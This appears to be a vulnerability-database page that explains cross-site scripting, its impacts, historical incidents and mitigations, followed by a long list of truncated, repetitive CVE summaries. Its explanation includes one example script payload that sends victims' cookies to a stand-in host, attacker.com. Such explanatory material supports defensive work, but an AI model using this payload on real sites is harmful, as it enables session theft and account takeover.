Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39158)
EC-CUBE 2.11.0 to 2.17.2-p1 contain a cross-site scripting vulnerability in "mail/template" and "products/product" of Management page. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - Stored in GitHub repository cockpit-hq/cockpit prior to 2.6.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an unauthenticated, remote attacker to conduct a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Multiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Multiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Multiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified CM Session Management Edition (Unified CM SME), and Cisco Unified. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability, which was classified as problematic, has been found in tdevs Hyip Rio 2.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Jenkins Docker Swarm Plugin 1.11 and earlier does not escape values returned from Docker before inserting them into the Docker Swarm Dashboard view, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Shortcut Job Plugin 0.4 and earlier does not escape the shortcut redirection URL, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins Flaky Test Handler Plugin 1.2.2 and earlier does not escape JUnit test contents when showing them on the Jenkins UI, resulting in a stored cross-site scripting (XSS) vulnerability exploitable. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
install/aiz-uploader/upload in Campcodes Online Matrimonial Website System Script 3.3 allows XSS via a crafted SVG document. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A Cross Site Scripting (XSS) vulnerability in Netlify CMS v.2.10.192 allows a remote attacker to execute arbitrary code via a crafted payload to the body parameter of the new post function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Tiempo.com WordPress plugin through 0.1.2 does not sanitise and escape the page parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Ko-fi Button WordPress plugin before 1.3.3 does not properly some of its settings, which could allow high-privilege users to perform Stored Cross-Site Scripting (XSS) attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The SEO ALert WordPress plugin through 1.59 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The WP Inventory Manager WordPress plugin before 2.1.0.13 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Image Optimizer by 10web WordPress plugin before 1.0.27 does not sanitise and escape the iowd_tabs_active parameter before rendering it in the plugin admin panel, leading to a reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP EasyPay WordPress plugin before 4.1 does not escape some generated URLs before outputting them back in pages, leading to Reflected Cross-Site Scripting issues which could be used against high. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Yellow Yard Searchbar WordPress plugin before 2.8.12 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The URL Params WordPress plugin before 2.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Tiempo.com WordPress plugin through 0.1.2 does not have CSRF check when creating and editing its shortcode, and is missing sanitisation as well as escaping, which could allow attackers to make. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Versions of the package @excalidraw/excalidraw from 0.0.0 are vulnerable to Cross-site Scripting (XSS) via embedded links in whiteboard objects due to improper input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
A vulnerability was found in phpRecDB 1.3.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The User Submitted Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘user-submitted-content’ parameter in versions up to, and including, 20230809 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms prior to 23.8.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
SVG Loader is a javascript library that fetches SVGs using XMLHttpRequests and injects the SVG code in the tag's place. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Svelecte is a flexible autocomplete/select component written in Svelte. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
ScanCode.io is a server to script and automate software composition analysis pipelines. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP-EMail WordPress plugin before 2.69.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Contact Form Builder by Bit Form WordPress plugin before 2.2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Custom Field For WP Job Manager WordPress plugin before 1.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Addons for Contact Form 7 WordPress plugin before 3.1.29 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Addons for Contact Form 7 WordPress plugin before 3.1.29 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The WP Brutal AI WordPress plugin before 2.06 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Multiple reflected XSS were found on different JSP files with unsanitized parameters in OpenMNS Horizon 31.0.8 and versions earlier than 32.0.2 on multiple platforms that an attacker can modify to. Rated medium severity (CVSS 5.2), this vulnerability is no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Multiple stored XSS were found on different JSP files with unsanitized parameters in OpenMNS Horizon 31.0.8 and versions earlier than 32.0.2 on multiple platforms that allow an attacker to store on. Rated medium severity (CVSS 4.8), this vulnerability is low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Code Projects Hospital Information System 1.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository cockpit-hq/cockpit prior to 2.4.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
Genesys Administrator Extension (GAX) before 9.0.105.15 is vulnerable to Cross Site Scripting (XSS) via the Business Structure page of the iWD plugin, aka GAX-11261. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross site scripting vulnerability in web portal in Snow Software License Manager from version 9.0.0 up to and including 9.30.1 on Windows allows an authenticated user with high privileges to trigger. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site scripting (XSS) for the Intel(R) DSA software before version 23.1.9 may allow unauthenticated user to potentially enable escalation of privilege via network access. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
Zoho ManageEngine Applications Manager through 16530 allows reflected XSS while logged in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
MISP 2.4.174 allows XSS in app/View/Events/index.ctp. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
A stored cross-site scripting (XSS) vulnerability in Netbox v3.4.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Custom Link templates. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Callback Widget v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the value-text-o_sms_email_request_message parameters of index.php in PHPJabbers Callback Widget v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
PHPJabbers Document Creator v1.0 is vulnerable to Cross Site Scripting (XSS) via all post parameters of "Export Requests" aside from "request_feed". Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the value-enum-o_bf_include_timezone parameter of index.php in PHPJabbers Callback Widget v1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the "column" parameter of index.php in PHPJabbers Document Creator v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Document Creator v1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Notes is a note-taking app for Nextcloud, an open-source cloud platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The EmbedPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'embedpress_calendar' shortcode in versions up to, and including, 3.8.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39158